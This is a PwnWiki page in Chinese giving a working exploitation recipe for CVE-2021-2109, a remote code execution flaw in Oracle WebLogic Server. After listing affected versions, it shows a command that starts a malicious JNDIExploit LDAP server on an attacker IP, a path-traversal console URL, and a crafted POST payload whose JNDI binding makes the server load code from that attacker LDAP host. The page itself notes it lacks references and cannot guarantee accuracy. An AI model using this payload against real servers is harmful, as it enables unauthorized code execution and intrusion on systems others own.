CVE-2021-2109 Weblogic Server遠程代碼執行漏洞

From PwnWiki
Book.png 這個頁面的內容缺少參考，無法保證內容的準確性。



影響版本

Weblogic Server 10.3.6.0.0

Weblogic Server 12.1.3.0.0

Weblogic Server 12.2.1.3.0

Weblogic Server 12.2.1.4.0

Weblogic Server 14.1.1.0.0


漏洞利用

下載LDAP (LDAP需要Java1.8環境)。 

java -jar JNDIExploit-v1.11.jar -i 192.168.1.123

首頁URL後加入 

/console/css/%252e%252e%252f/consolejndi.portal

在Burp中，将get修改爲post，並且構造數據包。

注：192.168.1;123 有個點修改爲分號。 

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;123:1389/Basic/WeblogicEcho;AdminServer%22)
Retrieved from "https://pwnwiki.com/index.php?title=CVE-2021-2109_Weblogic_Server遠程代碼執行漏洞&oldid=124"